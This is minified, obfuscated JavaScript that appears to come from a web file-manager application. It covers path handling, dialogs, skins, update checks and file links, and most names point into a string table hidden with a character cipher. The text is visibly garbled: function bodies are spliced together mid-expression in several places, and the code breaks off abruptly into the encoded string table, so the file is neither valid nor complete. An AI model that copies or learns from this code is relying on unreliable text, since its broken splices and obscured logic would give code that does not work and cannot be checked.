          ';$(a).appendTo("body"),core.isApp("desktop")||$(".task-tab").addClass("hidden"),$(window).bind("resize",function(){i("resize")}),f(),m(),n(),h()}}});;!function($){!function($,n,t,i,r,o,e,c,f,a,u,v,d,s,O,E,h,C,l,p,A,I,G,g,P,N,T,J,Q,K,L,y,x,m,B,M,F,k,S,R,b,H,_,D,X,w,V,U,Y,z,q,W,Z,j,$n,nn,tn,rn,on,en,cn,fn,an,un,vn,dn,sn,On,En,hn,Cn,ln,pn,An,In,Gn,gn,Pn,Nn,Tn,Jn,Qn,Kn,Ln,yn,xn,mn,Bn,Mn,Fn,kn,Sn,Rn,bn,Hn,_n,Dn,Xn,wn,Vn,Un,Yn,zn,qn,Wn,Zn,jn,$t,nt,tt,it,rt,ot,et,ct,ft,at,ut,vt,dt,st,Ot,Et,ht,Ct,lt,pt,At,It,Gt,gt,Pt,Nt,Tt,Jt,Qt,Kt,Lt,yt,xt,mt,Bt,Mt,Ft,kt,St,Rt,bt,Ht,_t,Dt,Xt,wt,Vt,Ut,Yt,zt,qt,Wt,Zt,jt,$i,ni,ti,ii,ri,oi,ei,ci,fi,ai,ui,vi,di,si,Oi,Ei,hi,Ci,li,pi,Ai,Ii,Gi,gi,Pi,Ni,Ti,Ji,Qi,Ki,Li,yi,xi,mi,Bi,Mi,Fi,ki,Si,Ri,bi,Hi,_i,Di,Xi,wi,Vi,Ui,Yi,zi,qi,Wi,Zi,ji,$r,nr,tr,ir,rr,or,er,cr,fr,ar,ur,vr,dr,sr,Or,Er,hr,Cr,lr,pr,Ar,Ir,Gr,gr,Pr,Nr,Tr,Jr,Qr,Kr,Lr,yr,xr,mr,Br,Mr,Fr,kr,Sr,Rr,br,Hr,_r,Dr,Xr,wr,Vr,Ur,Yr,zr,qr,Wr,Zr,jr,$o,no,to,io,ro,oo,eo,co,fo,ao,uo,vo,so,Oo,Eo,ho,Co,lo,po,Ao,Io,Go,go,Po,No,To,Jo,Qo,Ko,Lo,yo,xo,mo,Bo,Mo,Fo,ko,So,Ro,bo,Ho,_o,Do,Xo,wo,Vo,Uo,Yo,zo,qo,Wo,Zo,jo,$e,ne,te,ie,re,oe,ee,ce,fe,ae,ue,ve,de,se,Oe,Ee,he,Ce,le,pe,Ae,Ie,Ge,ge,Pe,Ne,Te,Je,Qe,Ke,Le,ye,xe,me,Be,Me,Fe,ke,Se,Re,be,He,_e,De,Xe,we,Ve,Ue,Ye,ze,qe,We,Ze,je,$c,nc,tc,ic,rc,oc,ec,cc,fc,ac,uc,vc,dc,sc,Oc,Ec,hc,Cc,lc,pc,Ac,Ic,Gc,gc,Pc,Nc,Tc,Jc,Qc,Kc,Lc,yc,xc,mc,Bc,Mc,Fc,kc,Sc,Rc,bc,Hc,_c,Dc,Xc,wc,Vc,Uc,Yc,zc,qc,Wc,Zc,jc,$f,nf,tf,rf,of,ef,cf,ff,af,uf,vf,df,sf,Of,Ef,hf,Cf,lf,pf,Af,If,Gf,gf,Pf,Nf,Tf,Jf,Qf,Kf,Lf,yf,xf,mf,Bf,Mf,Ff,kf,Sf,Rf,bf,Hf,_f,Df,Xf,wf,Vf,Uf,Yf,zf,qf,Wf,Zf,jf){$[t](i,[r,o,e,c,f,a,u,v,d,s,O,E,h,C],function(n){$[l]=n(r),$[p]=n(o);var t=n(e),i=n(c),$a=n(f),na=n(a),ta=n(u);n(v),$[A]=n(d),n(s),n(O),n(E),$[I]=function(n){return $[G](n)},$[g]=function(n){return $[P](n)};var ia=function(){$[T][N]=n,$[Q][J]||($[Q][J]=function(n,t){$[Q][K][n]=t},$[Q][L]=function(n,t){$[Q][K][y][n]=t}),$[Q][J](x,!m),$[Q][J](B,!M),$[Q][L](F,{$:$[k],window:$[T],log:$[R][S],core:$[b],pathTools:$[T][H],inArray:$[_]}),$[Q][K][y][H]=$[T][H],$[Q][K][x]=!m,D==$[w][X]?($[Q][K][V]=!m,$[Q][K][U]=!m,$[Q][K][Y]=!M):($[Q][K][V]=!M,$[Q][K][U]=!M,$[Q][K][Y]=!m)},ra=function(){ia(),z!=typeof $[w]&&(m!=$[w][q]&&$[k](Z)[W](),$[w][q]||$[b][j]($n)||m==$[b][j](nn)||$[k](tn)[W](),$[w][rn]&&on==$[w][rn][en]&&($[k][fn][K][cn]=!m),oa()),$[k](un)[an](vn,function(n){if(M==$[k](n[On])[sn](En)[dn])try{$[k][Cn][hn]()}catch(n){}}),$[k](ln)[vn](function(){$[An][pn](In,function(n){$[Gn]!=n&&n[k](ln)[gn](vn)})}),$[k][fn][K][cn]&&$[Pn]([Nn,Tn,Jn,Qn,Kn,Ln,yn,xn],[mn,Bn,Mn,Fn]),$[k](Sn)[kn](Rn,bn),$[k][Hn]({headers:{"X-CSRF-TOKEN":$[Dn][_n](Xn)}}),$[k](wn)[vn](function(){var n=$[k](this)[kn](Vn);$[Dn][Un](Vn,n),$[T][zn][Yn]()}),$[k](wn)[qn]({padding:Wn}),$[k](Zn+$[Dn][_n](Vn)+jn)[qn]({background:$t,color:nt}),$[b][tt](),$[b][rt][it]();for(var n=M;n<$[T][ot][dn];n++)try{$[T][ot][n]()}catch(t){$[R][et](ct,t)}$[ft][gn](at),ea()},oa=function(){var n=$[T][zn],t=n[ut]?vt+n[ut]:In;$[w][dt]=n[st]+Ot+n[Et]+t+ht,$[w][Ct]=$[lt]($[w][dt],ht)+n[At][pt](It,In);var i=$[w][Gt][pt](It,In);$[w][dt]+$[gt](i,ht)!=$[w][Ct]&&($[w][dt]=$[lt]($[w][Ct],i)+ht),$[w][Pt]=$[w][Ct]+Nt,Tt==$[w][Qt][Jt]&&($[w][Pt]=$[w][Pt][pt](Nt,Kt)),$[Dn][Un](Lt,$[w][dt]),$[Dn][Un](yt,$[w][Ct]),$[Dn][Un](xt,$[w][mt],Bt)},ea=function(){$[Mt]()||n[Ft]([kt,St],function(){var n=$[k](Rt);n[bt]({className:Ht,liveEvents:!M,slide:!m,alignTo:_t,alignX:Dt,alignY:Xt,showAniDuration:wt,hideAniDuration:Vt,offsetY:Ut,offsetX:Yt,showTimeout:function(){var n=zt;return $[k](this)[kn](qt)&&(n=$[Wt]($[k](this)[kn](qt))),n},content:function(){var n=$[k](this)[Zt](jt);if($[k](this)[kn]($i)){var t=$[k]($[k](this)[kn]($i));n=t[ni](ti)||t[ni](ii)?t[ri]():t[un]()}return n=n?n:In,n[pt](oi,ei)}}),$[k](ln)[an](ci,function(){$[k](fi)[W](),$[k][ai](ui,vi)})[an](di,function(){$[k][ai](In,vi)}),$[k](Oi)[si](Ei,function(){$[k](n)[bt](hi),$[k](fi)[W]()})})};return{init:ra,serverDwonload:i[Ci],upload:i[li],uploadInit:i[it],playSound:na[pi],playSoundFile:na[Ai],tools:t,api:$a,formMake:ta,getPathIcon:function(n,t){if(t=void M==t?In:t,Ii==$[k][Gi](n)){var i=$[gi]($[gi](n),ht);if(n={},Pi!=i[Ni](M,m)||i[Ti](ht)[dn]>m)return{icon:In,name:In};n[Ji]=i[Qi](Ki),n[Li]=i[Ti](vt)[m]}var r={};r[$[w][yi]]={icon:xi,name:$[Bi][mi]},r[$[w][Mi]]={icon:Fi},r[$[w][ki]]={icon:Si},r[$[w][Ri]]={icon:xi},r[$[w][bi]]={icon:Hi,name:$[Bi][Hi]},r[$[w][_i]]={icon:Di,name:$[Bi][Xi]},r[$[w][wi]]={icon:Vi,name:$[Bi][Ui]},r[$[w][Yi]]={icon:zi,name:$[Bi][qi]};var o=r[n[Ji]];return n[Ji]==$[w][yi]&&$[w][Wi]!=n[Li]?o={icon:Zi,name:t}:n[Ji]==$[w][Mi]&&ji==n[$r]&&(o={icon:Fi}),void M==o&&(o={icon:In,name:In}),void M==o[nr]&&(o[nr]=t),o},isFileView:function(){var n=$[w][tr]+ir+$[w][rr];return or==n||er==n?!M:!m},isSystemPath:function(n){var n=$[gi]($[gi](n),ht);if(void M==n||Pi!=n[Ni](M,m)||n[Ti](ht)[dn]>m)return!m;var t=n[Qi](cr),i=[$[w][yi],$[w][ki],$[w][bi],$[w][_i],$[w][wi],$[w][Yi]];return-m!==$[k][_](t[M],i)?!M:!m},pathPre:function(n){if(n=$[gi]($[gi](n),ht),void M==n||Pi!=n[Ni](M,m))return In;var t=n[Qi](fr);return t[M]},contextmenu:function(n){try{$[k][Cn][hn]()}catch(t){}var t=n||$[T][ar];return t?t&&$[k](t[On])[ni](ii)||$[k](t[On])[ni](ti)||$[k](t[On])[ni](ur)||$[k](t[On])[ni](vr)||M!=$[k](t[On])[sn](dr)[dn]||M!=$[k](t[On])[sn](sr)[dn]||M!=$[k](t[On])[sn](Or)[dn]||M!=$[k](t[On])[sn](Er)[dn]?!M:!m:!M},pathThis:function(n){if(!n||ht==n)return In;var t=$[lt](this[hr](n),ht),i=t[Cr](ht),r=t[lr](i+m);if(M==r[pr](Ar)){r=$[Ir](r[lr](r[pr](Gr)));var o=r[Ti](ht);r=o[o[dn]-m],In==r&&(r=o[o[dn]-gr])}return r},pathClear:function($){if(!$)return In;var n=$[pt](Pr,ht);return n=n[pt](Nr,ht),n=n[pt](Tr,ht)},pathFather:function(n){var t=$[lt](this[hr](n),ht),i=t[Cr](ht);return t[lr](M,i+m)},pathExt:function(n){var t=$[gi](n,ht);return-m!=t[Cr](ht)&&(t=t[lr](t[Cr](ht)+m)),-m!=t[Cr](ir)?t[lr](t[Cr](ir)+m)[Jr]():t[Jr]()},pathUrlEncode:function(n){if(!n)return In;var t=$[Qr](n);return t=t[pt](Kr,ht)},path2url:function(n,t){if(Lr==n[lr](M,yr))return n;void M==t&&(t=!M);var i,r=this[hr](n);return $[w][q]&&t&&r[Ni](M,$[w][xr][dn])==$[w][xr]?i=$[w][dt]+this[mr](r[pt]($[w][xr],In)):(i=$[w][Pt]+Br+$[w][Mr]+Gr+$[Qr](r),z!=typeof $[w][Fr]&&(i=$[w][Pt]+kr+$[w][Zi]+Sr+$[w][Rr]+Gr+$[Qr](r),r[lr](M,$[w][yi][dn])==$[w][yi]&&(i=$[w][Pt]+br+$[Qr](r)))),i},pathCommon:function(n){if(Lr==n[lr](M,yr))return $[Qr](n);if(n[lr](M,$[w][yi][dn])==$[w][yi])return $[Qr](n);var t=this[hr](n),i=$[Qr](t);return z!=typeof $[w][Fr]&&(i=$[Qr]($[w][yi]+vt+$[w][Zi]+ht+$[w][Hr][nr]+t)),i},isApp:function(n){if(z==typeof $[_r])return!m;var t=$[_r][Dr];return Ii==typeof n?t==n:$[k][Xr](n)&&-m!==$[k][_](t,n)?!M:!m},pathReadable:function(n){if(wr!=typeof $[w][Vr])return!M;for(var t=$[w][Vr][Ur],i=M;i=M||n[Mo](Fo)>=M)&&(o=n),$[k][ko]({url:o,dataType:So,error:function(n,t,r){$[b][Ro](n,t,r),bo==typeof i&&i()},success:function(n){n[Ho]&&bo==typeof t&&(m==n[Zt][_o]&&(n[Zt][Po]=$[Do](n[Zt][Po])),t(n[Zt][Po],n,o)),n[Ho]||bo==typeof i&&i(n[Zt])}})},fileInfo:function(n,t){var i=$[w][Pt]+Xo;z!=typeof $[w][Fr]&&(i=$[w][Pt]+wo+$[w][Zi]+Sr+$[w][Rr]),$[k][ko]({url:i,type:Vo,dataType:So,data:n,error:$[b][Ro],success:function($){bo==typeof t&&t($,n)}})},fileLink:function(n,t){if(n=this[hr](n),$[w][q]&&n[Ni](M,$[w][xr][dn])==$[w][xr]){var i=$[w][dt]+this[mr](n[pt]($[w][xr],In));return void(bo==typeof t&&t(i,n))}var r=Uo+$[Qr](n)+Yo;this[zo](r,function(i){var r=i[Ho]?i[Zt][qo]:!m;return r?void(bo==typeof t&&t(r,n)):void $[oo][ro]($[Bi][Wo]+Zo+$[Bi][jo],!m)})},setting:function(n){void M==n&&(n=$[w][q]?$e:Zi);var t=ne,i=ne;$[Mt]()&&(t=te,i=te),$[An][pn](ie)?$[An][pn](ie,function(t){t[oe][re](n),$[k][fn][so][ce][ee](!M)}):$[k][fn][fe]($[w][Pt]+ae+n,{id:ce,fixed:!M,ico:$[b][Jo](ue),resize:!M,title:$[Bi][ue],width:t,height:t})},copyright:function(){var t=n(h),i=$[Q][ve](t),r=$[An][pn]();r[de][fn]({id:se,bottom:M,right:M,simple:!M,resize:!m,disableTab:!M,title:$[Bi][Oe],width:Ee,padding:on,fixed:!M,content:i({LNG:$[Bi],G:$[w]})}),r[k](Ce)[he](le)},qrcode:function(n,t){pe==n[lr](M,gr)&&(n=$[w][Pt]+n[lr](gr));var i=$[w][Pt]+Ae+$[Ie]($[Qr](n)),r=Ge+$[Ie](n)+ge+n+Pe+i+Ne;$[k][fn]({follow:t,fixed:!M,resize:!m,title:$[Bi][Te],padding:Je,content:r})},appStore:function(){var n=$[An][pn]();n[k][fn][fe]($[w][Pt]+Qe,{id:Ke,fixed:!M,ico:$[b][Jo](Le),resize:!M,title:$[Bi][Ke],width:ye,height:ye})},openWindow:function(n,t,i,r){t=t?t:$[Bi][ro],i=i?i:ye,r=r?r:xe,$[Mt]()&&(i=te,r=te);var o=$[An][pn](),e=o[k][fn][fe](n,{ico:In,title:t,fixed:!M,resize:!M,width:i,height:r});return e},openWindowFull:function(n,t){return $[b][me](n,t,te,te)},openWindowBig:function(n,t){return $[b][me](n,t,Be,Be)},openDialog:function(n,t,i,r,o){if(n){void M==r&&(r=Me+$[Fe]());var e=ke+r+Se+$[Re](n)+be,c=$[An][pn](),f={id:r,fixed:!M,title:i,ico:t,width:ye,height:He,padding:M,content:e,resize:!M};f=$[k][_e]({},f,o);var a=c[k][fn](f);return a}},openApp:function(n){if(De==n[Gi]){var t=n[Jo];-m==n[Jo][pr]($[w][Xe])&&Lr!=n[Jo][Ni](M,yr)&&(t=$[w][Xe]+we+n[Jo]),Ve!=typeof n[Ue]&&-m===n[Ue][pr](Ye)&&(n[Ue]=$[Wt](n[Ue])),Ve!=typeof n[ze]&&-m===n[ze][pr](Ye)&&(n[ze]=$[Wt](n[ze])),n[Ue]||(n[Ue]=Be),n[ze]||(n[ze]=xe);var i={resize:n[qe],fixed:!M,ico:$[b][We](t),title:n[nr][pt](Ze,In),width:n[Ue],height:n[ze],simple:n[je],padding:M},r=$[An][pn]();$c==$[b][nc](n[Po])?(i[Po]=$[b][tc](n[Po]),r[k][fn](i)):r[k][fn][fe](n[Po],i)}else{var o=n[Po];$[fo](Pi+o+ic)}},update:function(){$[lo](function(){var t=$[Do](rc)+oc+$[Fe]();n[Ft](t,function($){try{$[ec](cc)}catch(n){}})},Vt)},openPath:function(n){$[b][Wr](fc)?$[ac][Yr][so](n,ro):$[b][fc](n)},explorer:function(n,t){void M==n&&(n=In),void M==t&&(t=$[b][uc](n));var i=$[w][Pt]+vc+n;z!=typeof $[w][Fr]&&(i=$[w][Pt]+dc+$[w][Zi]+Sr+$[w][Rr]+Gr+n);var r=$[An][pn](),o=r[k][fn][fe](i,{className:sc,resize:!M,fixed:!M,ico:$[b][Jo](Oc),title:t,width:ye,height:He}),e=Yt*r[k](Ec)[dn];o[Cc][hc][qn]({left:lc+e+pc,top:lc+e+pc})},explorerCode:function(n){void M==n&&(n=In);var t=$[w][Pt]+Ac+n;z!=typeof $[w][Fr]&&(t=$[w][Pt]+Ic+$[w][Zi]+Sr+$[w][Rr]+Gc+n),$[T][fe](t)},setSkinFinished:function(){var n=$[k](gc)[kn](Pc);n&&($[k](Nc)[kn](Tc,n),$[k](gc)[W]())},setSkin:function(n){$[Jc][Un](Qc,n),$[w][rn][Qc]=n;var t=$[w][Xe]+Kc+n+Lc+$[w][yc];t!=$[k](Nc)[kn](Tc)&&$[k](ln)[xc](mc+t+Bc),this[tt]()},setSkinDiy:function(){if($[w][rn]){var t=$[Jc][_n](Qc),i=Mc,r=$[Jc][Fc](i);wr!=typeof r&&wr==typeof $[w][rn][kc]&&(r=$[w][rn][kc]),wr!=typeof r&&(r={bgBlur:m,bgImage:$[w][Xe]+Sc,bgType:Rc,startColor:bc,endColor:Hc,colorRotate:_c},$[Jc][Dc](i,r)),$[w][rn][kc]=r;var o=In;if(Xc==t&&r){var e=n(C),c=$[Q][ve](e);o=c(r)}$[k][ai](o,i)}},editorFull:function(){var n=$[k](wc);n[Vc](Uc)},language:function(n){$[Dn][Un](xt,n,Bt),$[T][zn][Yn]()},fullScreen:function(){Yc==$[k](ln)[kn](zc)&&$[b][qc](),$[k](ln)[kn](zc,Yc);var n=$[An][pn](),t=n[Zc][Wc];t[jc]?t[jc]():t[$f]?t[$f]():t[nf]&&t[nf]()},exitfullScreen:function(){$[k](ln)[kn](zc,bn),$[Zc][tf]?$[Zc][tf]():$[Zc][rf]?$[Zc][rf]():$[Zc][of]&&$[Zc][of]()},createFlash:function(n,t,i){var r=$[Fe]();(z==typeof i||In==i)&&(i=r);var o=In;$[k][cf][ef]&&$[Wt]($[k][cf][yc])Af&&(n[Pf](Nf)[W](),$[Tf](e),e=Jf)}catch(t){}},Af)},Qf),e},userSpaceHtml:function(n){var t=n[Ti](ht),i=$[Kf](t[M]),r=Lf*$[Kf](t[m]),o=$[H][yf]($[Kf](t[M])),e=$[H][yf](r),c=o+ht,f=Af*i/r;f>=Af&&(f=Af);var a=In;return f>=xf&&(a=mf),M==r||$[Bf](r)?(c+=$[Bi][Mf],f=Ff):(c+=e,f+=Ye),c=kf+a+Sf+f+Rf+c+bf},dateTime:function(n){return $[Hf]($[Bi][_f],n)},uploadCheckSize:function(n){var t=$[w][Vr][Df]||$[w][Vr][Xf];return t&&M!=t[wf]&&Vf*t[wf]*Vf*Vf-t[Uf]?@/30-1"),$("0)1A)1,(#"),$("0)1B,.-4(5$"),$("5,#C))"),$(")(03D(63:'+,#$"),$("3(63:'+,#$"),$(")(03D(63>$+,#$"),$("3(63>$+,#$"),$(".$E2&.$"),$("F&'#,F"),$("+,'%&9"),$("0$-)1(0$"),$("#$%(2106"),$("3$1)$."),$("&-),.06"),$("$6+()$"),1,$("+,-).$66"),0,$("5,#"),$("G"),$("1,9"),$("+,'6,1$"),$("+,.$"),$(")(03H,,16"),$("&'C..(7"),$("I#$J"),$("$'J&.,'-$'0"),$("K"),$("+(+3$"),$("-&'&-&L$"),$("+,-)&1$>$M29"),$("2'#$%&'$#"),$("&6N,,0"),$(".$-,J$"),$("/-$'2O6760$-O6$00&'9"),$("(203P3$+5"),$("6760$-4$-M$./9$0"),$("6760$-K.,2)/9$0"),$("/-$'2O6760$-O9.,2)"),$("26$.P,'%&9"),$("Q"),$("('&-(0$R)$'"),$("('&-(0$"),$("#&(1,9"),$("M&'#"),$("30-1"),$("+1&+5"),$("1$'903"),$(")(.$'06"),$("0(.9$0"),$("/+,'0$;0O-$'2O1&60"),$("3&##$'"),$("+,'0$;04$'2"),$("M,#7"),$("%.(-$H,)"),$("83(.$>(0("),"",$("6$1%"),$("0.&99$."),$("1,(#N&))1$"),$("("),$("M200,'"),$("/.&))1$O&0$-"),$("/+,'0$;0O-$'2O&0$-"),$("S)&+5$."),$("/-$'283(.$<200,'"),$("/-$'2O.$+7+1$OM200,'"),$("/6$+0&,'T/1&60"),$("/#&6(M1$#"),$("/#&6(M1$"),$("/L0.$$"),$("/#&6(M1$O.&))1$"),$("(00."),$("(U&-9"),$("#.(99(M1$"),$("%(16$"),$("(V(;8$02)"),$("9$0"),$("P,,5&$"),$("WOP8NBOHRX:Y"),$("/+,--,'O%,,0$.TZ%,.+$=()["),$("%,.+$=()"),$("6$0"),$(".$1,(#"),$("1,+(0&,'"),$("+66"),$("Q/\\$-TQ/]$-"),$("/+,--,'O%,,0$.TZ%,.+$=()^"),$("["),$("S_\\`M+("),$("S%%%"),$("6$085&'>&7"),$("&'&0"),$("0,,16"),$("5,#N$(#7"),$("$..,."),$("5,#N$(#7T$..,.a"),$("D,,5"),$("5,#N$(#7/$'#"),$("),.0"),$("a"),$("F$MD,60"),$(").,0,+,1"),$("**"),$("3,60'(-$"),$("*"),$("())N,,0"),$(".0.&-"),$(".$)1(+$"),$(")(03'(-$"),$("&'#$;/)3)"),$("())?'#$;"),$("10.&-"),$("())D,60"),$("&'#$;/)3)b"),$("c"),$(")(.(-N$F.&0$"),$("6$00&'96"),$("&'#$;/)3)*"),$("DR8H"),$("CddIDR8H"),$("5,#A6$.e('92(9$"),$("1('9"),8760,$("&6=()"),$("(67'+"),$("1&M*),6370&)*VE2$.7/),6370&)/V6"),$("1&M*),6370&)*65&'/+66"),$("Z0&01$["),$("),6370&)"),$(")0&)6O65&'"),$("+2.6,."),$(".&930"),$("M,00,-"),150,200,10,20,1500,$("0&01$O0&-$,20"),$(")(.6$?'0"),$("#(0("),$("0&01$/),6370&)"),$("0&01$O#(0("),$("&6"),$("&')20"),$("0$;0(.$("),$("J(1"),/\n/g,$("fM.*g"),$("-,26$#,F'"),$("/)0&)6O65&'"),$("6$08071$"),$("M,#7T/)0&)6O65&'h#&6)1(7a','$Ti&-),.0('0jk"),$(")0&)6O0&01$"),$("-,26$2)"),$("1&J$"),$("&')20U0$;0(.$("),$("%,+26"),$("3&#$"),$("6$.J$.>F,'1,(#"),$("2)1,(#"),$(")1(78,2'#"),$(")1(78,2'#B&1$"),$("60.&'9"),$("07)$"),$("0.&-"),$("h"),$("62M60.&'9"),$("6)1&0"),$(")(03H7)$"),$("-(0+3"),/\{.*\}/,$("&#"),$("XR>IA8:NI8DCN:"),$("26$.O6$1%"),$("-7I63(.$"),$("eYK"),$("XR>IKNRAdIdCHD"),$("9.,2)O6$1%O,F'$."),$("XR>IKNRAdI8DCN:"),$("9.,2)O92$60"),$("XR>IA8:NI8:eB"),$("XR>IA8:NIN:P@Pe:"),$(".$+7+1$"),$("XR>IA8:NIBCl"),$("0.$$O%(J"),$("%(J"),$("XR>IKNRAdINRRHI8:eB"),$("9.,2)O6$1%O.,,0"),$("-7I5,#I9.,2)"),$("XR>IKNRAdINRRHICee"),$("9.,2)O.,,0"),$("5,#I9.,2)"),$("26$.?>"),$("26$."),$(",F'$."),$(".,1$"),$("'(-$"),$("8H"),$("/"),$("CPH"),$("63(.$/%&1$"),$("()&/J&$F"),/\{.*\}/,/\{.*\}/,$("$J$'0"),$(")"),$(").$"),$("/+('O.&930O-$'2"),$("/0,)M(."),$("/$#&0OM,#7"),$("/(2&O60(0$O%,+26"),$(")(03P1$(."),$("1(60?'#$;R%"),$("62M60."),$("6$(.+3"),$("%&1$d.,;7"),$("2.1>$+,#$"),$("m)(03^"),2,/\\/g,/\/+/g,/\.+\//g,$("0,e,F$.P(6$"),$("2.1:'+,#$"),/%2F/g,$("300)"),4,$("F$MN,,0"),$(")(03A.1:'+,#$"),$("$;)1,.$.*%&1$d.,;7m(++$66H,5$'^"),$("(++$66H,5$'"),$("63(.$d(9$"),$("63(.$*%&1$d.,;7m26$.^"),$("m6&#^"),$("6&#"),$("63(.$*%&1$d.,;7m)(03^"),$("63(.$?'%,"),$("P,'%&9"),$(")(9$C))"),$("&6C..(7"),$(",MV$+0"),$("V6,'>(0("),$("%&1$e&60"),$(")(03"),$("&6N$(#(M1$"),$("%,1#$.e&60"),$("&6C))"),$("$#&0,."),$("&'%,"),$("+('A)1,(#"),$("3(6RF'd.,)$.07"),$("CAHD"),$("',I)$.-&66&,'"),$("0&)6"),$("H&)6"),$("03&6d(03"),$("(203K.,2)N,1$"),$("$J(1"),$("ano#pq*"),$(".$6),'6$H$;0"),$("(V(;:..,.>&(1,9"),$("1&60"),$("+1,6$"),$("6760$-I$..,."),$("fiOO26$.T1,9&'OOg"),17,$("6$0H&-$,20"),500,$("60(026"),$("rstuvwTn'$0aa:NNIPRYY:PH?RYIN:8:Hqxtuyz{fM.*g|",90,91,92,93,94,95,"r",96,"x",97,98,99,100,101,102,"{",103,""),$("f#&JT+1(66^",104,"(V(;:..,.",104,"g"),$("f*#&Jg"),$("+,'0$'0"),$(105,"Q",106,""),$(107,"Q",106,""),$("&+,'"),$("(V(;T$..,."),$("%&1$'(-$"),$("%&1$A.1"),$("$#&0,.*%&1$K$0m"),$("^"),$("63(.$*%&1$K$0m26$.^"),$("m"),$("&'#$;R%"),$("63(.$*%&1$K$0m"),$("(V(;"),$("V6,'"),$("(V(;:..,."),$("%2'+0&,'"),$("+,#$"),$("M(6$",105,"_"),$("M(6$",105,"_>$+,#$"),$("$;)1,.$.*)(03?'%,"),$("63(.$*)(03?'%,m26$.^"),$("dR8H"),$("#(0(C..^Zh",104,"07)$",104,"a",104,"%&1$",104,"U",104,")(03",104,"a",104,""),$(104,"k[mJ&$Fd(9$^c"),$("%&1$?'%,"),$("#,F'1,(#d(03"),$("',I)$.-&66&,'I(+0&,'"),$("^^g"),$("9.,2)I.,1$I)(03&'%,"),$("6760$-"),$("`",107,106,""),$("cQQ",106,""),$("R)$'6$00&'9I-,#$"),$("6$0K,0,"),$("8$00&'9"),$("#&6)1(7"),$("6$00&'9I-,#$"),$(",)$'"),$("6$00&'9S"),$("6$00&'9"),$("+,-)&1$"),$("(.0"),$("#&(1,9O+,)7.&930"),$("(M,20"),425,$("(##P1(66"),$("/#&(1,9O+,)7.&930"),$("('&-(0$#O",108,"QQTL,,-?'"),$("/*"),$("26$.*E.+,#$m2.1^"),$("E2,0$D0-1"),$("f(T3.$%^",109,""),$(109,"T6^",109,""),$(109,"T0(.9$0^",109,"IM1('5",109,"gf&-9T6.+^",109,""),$(109,"T6071$^",109,"M,.#$.ac);T6,1&#TS$$$j",109,"*gf*(g"),$("E.+,#$"),30,$("())"),$("())I60,.$"),$("())O60,.$"),$("`Q",106,""),$(108,"Q",106,""),$(",)$'=&'#,F"),$(110,"Q",106,""),$(",)$'>&(1,9"),$("AA?>"),$("f&%.(-$T%.(-$M,.#$.^",109,"Q",109,"T'(-$^",109,"R)$'"),$(109,"T6.+^",109,""),$("30-1:'+,#$"),$(109,"T6071$^",109,"FacQQ",106,"j3$&930acQQ",106,"jM,.#$.aQj",109,"gf*&%.(-$g"),$(108,107,106,""),$("$;0$'#"),$("2.1"),$("60(0&+d(03"),$("&-(9$6*%&1$I&+,'*&+,'I())*"),$("'2-M$."),$("F"),$(106,""),$("3$&930"),$(".$6&L$"),$("&+,'8.+"),$("/,$;$"),$("6&-)1$"),$("6F%"),$(")(03:;0"),$("+.$(0$B1(63"),$("k"),$("e7",110,"L#KBQ(=42(\\",110,"5@\\;J#=",111,"2@\\",110,"0e]lF",112,"KBQ",112,"8",110,"0@=12YP",107,"E+F^^"),$("b(^"),$("0,#,"),$("+3$+5"),$("$;)1,.$."),$("2&"),$(")(03H3&6"),$("$;)1,.$.m07)$^&%.(-$m)(03^"),$("63(.$*%,1#$.m07)$^&%.(-$m26$.^"),$("#&(1,9:;)1,.$."),$("%,1#$."),$("/#&(1,9:;)1,.$."),$("F.()"),$(">R4"),$("p^"),$(");"),$("$#&0,.m).,V$+0^"),$("63(.$*+,#$N$(#m26$.^"),$("m).,V$+0^"),$("/1&'5O03$-$O1,(#$#"),$("6.+"),$("S1&'5O03$-$O6071$"),$("3.$%"),$("e,+(1>(0("),$("03$-$"),$("6071$*65&'*"),$("/+66bJ$.^"),$("J$.6&,'"),$("())$'#"),$("f&-9T6.+^",104,""),$(104,"T,'1,(#^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T,'$..,.^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T+1(66^",104,"3&##$'T1&'5O03$-$O1,(#$#",104,"g"),$("5,#8071$>&7"),$("9$0P,'%&9"),$("03$-$>?@"),$("&-(9$6*F(11I)(9$*",110,"/V)9"),$("+,1,."),$("S_",107,105,""),$("SQQQ"),$("\\QQ"),$("6$0P,'%&9"),$("#&7"),$("&%.(-$Z'(-$^R)$',)$':#&0,.["),$("0,991$P1(66"),$("%.(-$O%2116+.$$'"),$("0.2$"),$("%2118+.$$'"),$("$;&0%2118+.$$'"),$("#,+2-$'0:1$-$'0"),$("#,+2-$'0"),$(".$E2$60B2116+.$$'"),$("-,LN$E2$60B2118+.$$'"),$("F$M5&0N$E2$60B2118+.$$'"),$("$;&0B2116+.$$'"),$("-,LP('+$1B2118+.$$'"),$("F$M5&0P('+$1B2118+.$$'"),$("-6&$"),$("M.,F6$."),9,$("+1(66&#^",104,"+16&#a#\\",108,"+#M",105,"$O($",105,"#Occ+%O",110,105,"M`O___",107,107,"]",107,"_QQQQ",104,""),$("f,MV$+0T07)$^",104,"())1&+(0&,'*;O63,+5F(J$O%1(63",104,"T+1(66^",104,""),$(104,"T"),$("T'(-$^",104,""),$(104,"T&#^",104,""),$(104,"T#(0(^",104,""),$(104,"TF^",104,"cQQ",106,104,"T3$&930^",104,"cQQ",106,104,"T0(M&'#$;^",104,"Oc",104,"Tgf)(.(-T'(-$^",104,"-,J&$",104,"TJ(12$^",104,""),$(104,"*gf)(.(-T'(-$^",104,"(11,F%2116+.$$'",104,"TJ(12$^",104,"0.2$",104,"T*gf)(.(-T'(-$^",104,"(11,F6+.&)0(++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"(11,F8+.&)0C++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"%1(63J(.6",104,"TJ(12$^",104,""),$(104,"T*gf)(.(-T'(-$^",104,"F-,#$",104,"TJ(12$^",104,"0.('6)(.$'0",104,"T*gf*,MV$+0gf#&JT+1(66^",104,"(2&O1,(#&'9",104,"T&#^",104,""),$("I1,(#&'9",104,"gf6)('g1,(#&'9//f*6)('gf*#&Jg"),$("6$0?'0$.J(1"),100,$("%1,,."),$("4(03"),$("d$.+$'0e,(#$#"),$("'$;0"),$("/(2&O1,(#&'9"),$("+1$(.?'0$.J(1"),null,50,$(")(.6$B1,(0"),1073741824,$("%&1$8&L$"),80,$("F(.'&'9"),$("&6Y(Y"),$("6)(+$I0&)6I%211"),$("Q",106,""),$("f#&JT+1(66^",109,"6)(+$O&